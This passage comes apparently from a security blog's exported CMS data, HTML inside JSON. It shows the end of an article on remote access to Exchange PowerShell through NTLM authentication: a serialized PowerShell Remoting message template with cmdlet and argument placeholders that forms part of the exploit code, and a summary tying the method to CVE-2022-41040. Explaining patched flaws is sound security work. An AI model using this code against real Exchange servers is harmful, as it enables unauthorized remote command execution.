refid=\"4\">\u003Cbr>                        \u003Ctn refid=\"1\">\u003Cbr>                            \u003Ct>System.Management.Automation.Runspaces.PipelineResultTypes\u003C\u002Ft>\u003Cbr>                            \u003Ct>System.Enum\u003C\u002Ft>\u003Cbr>                            \u003Ct>System.ValueType\u003C\u002Ft>\u003Cbr>                            \u003Ct>System.Object\u003C\u002Ft>\u003Cbr>                        \u003C\u002Ftn>\u003Cbr>                        \u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003Cbr>                    \u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeToResult\" refid=\"5\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergePreviousResults\" refid=\"6\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeError\" refid=\"7\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeWarning\" refid=\"8\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeVerbose\" refid=\"9\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeDebug\" refid=\"10\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeInformation\" refid=\"11\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"Args\" refid=\"12\">\u003Ctnref refid=\"0\">\u003Cbr>                        \u003Clst>\u003Cbr>                            {Argument}\u003Cbr>                        \u003C\u002Flst>\u003Cbr>                    \u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                \u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cbr>            \u003C\u002Flst>\u003Cbr>        \u003C\u002Fobj>\u003Cbr>        \u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cbr>        \u003Cnil n=\"History\">\u003Cbr>        \u003Cb n=\"RedirectShellErrorOutputPipe\">true\u003C\u002Fb>\u003Cbr>    \u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cbr>    \u003Cb n=\"NoInput\">true\u003C\u002Fb>\u003Cbr>    \u003Cobj n=\"ApartmentState\" refid=\"15\">\u003Cbr>        \u003Ctn refid=\"2\">\u003Ct>System.Threading.ApartmentState\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Cbr>        \u003Ctostring>Unknown\u003C\u002Ftostring>\u003Ci32>2\u003C\u002Fi32>\u003Cbr>    \u003C\u002Fobj>\u003Cbr>    \u003Cobj n=\"RemoteStreamOptions\" refid=\"16\">\u003Cbr>        \u003Ctn refid=\"3\">\u003Ct>System.Management.Automation.RemoteStreamOptions\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Cbr>        \u003Ctostring>0\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003Cbr>    \u003C\u002Fobj>\u003Cbr>    \u003Cb n=\"AddToHistory\">true\u003C\u002Fb>\u003Cbr>    \u003Cobj n=\"HostInfo\" refid=\"17\">\u003Cms>\u003Cbr>        \u003Cb n=\"_isHostNull\">true\u003C\u002Fb>\u003Cbr>        \u003Cb n=\"_isHostUINull\">true\u003C\u002Fb>\u003Cbr>        \u003Cb n=\"_isHostRawUINull\">true\u003C\u002Fb>\u003Cbr>        \u003Cb n=\"_useRunspaceHost\">true\u003C\u002Fb>\u003C\u002Fms>\u003Cbr>    \u003C\u002Fobj>\u003Cbr>    \u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cbr>\u003C\u002Fms>\u003C\u002Fobj>\"\"\".format(Cmdlet=Cmdlet, Argument=Argument)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Combining the above details, we can derive the final implementation code, with the execution result shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016719487_1_9fb08253fe-1.png\">\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the implementation method for remote access to Exchange PowerShell, with the advantage of not relying on initiating connections from within the domain. This method was patched in CVE-2022-41040.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",931,"Onedaysec",6,"published","2026-02-02T07:38:21.455Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Exchange PowerShell Remote Access via NTLM Authentication Exploit","Exchange PowerShell, NTLM authentication, remote access, penetration testing, CVE-2022-41040, ProxyShell, Python3 exploit",null,false,[],{"docs":43,"hasNextPage":40},[44,45,46,4],604,603,602,{"title":39,"description":39,"image":39},"2026-07-24T15:37:12.450Z","2026-07-23T16:01:49.473Z","draft","2026-07-23T16:13:40.171Z"]